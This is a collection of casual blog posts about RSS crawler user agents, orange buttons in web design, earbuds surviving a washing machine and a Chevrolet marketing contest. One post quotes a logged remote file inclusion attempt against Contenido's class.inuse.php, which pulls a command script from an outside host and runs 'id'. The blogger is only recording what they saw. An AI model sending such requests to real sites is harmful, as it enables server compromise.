Agent: Accelatech RSSCrawler/0.4 Crawler page in Japanese

Agent: RSS-SPIDER (RSS Feed Seeker http://www.rss-spider.com/fsb.php)

Agent: BlogBridge 2.15 (http://www.blogbridge.com/)

Agent: Snarfer/0.2.0 (http://www.snarfware.com/)

Technorati Tags: RSS, Internet, Blogosphere

Thinking about trends in Web design and noticing how some popular Web sites are using the color orange as a call to action.

.Mac - Join Now Button

The New York Times - Times Select items and XML button

The Wall Street Journal - Current Section and clickable Section Titles
MySpace - Sign Up button
Blogger - Logo and Create Your Blog Now button
BBC - RSS buttons and Podcasting image
AOL.com - Join Now button
Alibaba.com - Logo, Join Now button, Click Here button, hyperlink hover color, resources menu box
CNet - Merchant call out box
Monster - Post Now button, Employers Click Here button, Log In button, Search button, various hyperlinks

Technorati Tags: Web design

Not too long ago I thought I read something about a few new php exploits being found recently. Here’s an attempted inuse.php exploit in my logs.

200.243.30.82
//contenido/classes/class.inuse.php?cfg[path][contenido]=http://www.phantasmairc.hpgvip.com.br/CMD.txt?&cmd=id

It looks to be quite new as there’s a couple Google results, including this sys admin blog entry [auf Deutsch].

Technorati Tags: Web

a pair of iPod Shuffle earbuds can make it through a trip to the washing machine and dryer. Albeit emerging a little frayed, and they still work.

Technorati Tags: Apple, iPod

“There’s gonna be an opening in the Chevrolet Marketing department pretty soon.”

Just who was the brains behind the idea that the target demographic for a Chevy Tahoe would 1)want to spend loads of cash on a vehicle with poor gas mileage and 2)would enjoy making faux Tahoe commercials online for a contest?

Hint: Chevrolet/GM listening to your customers involves improving your product.

Technorati Tags: Marketing, Web Marketing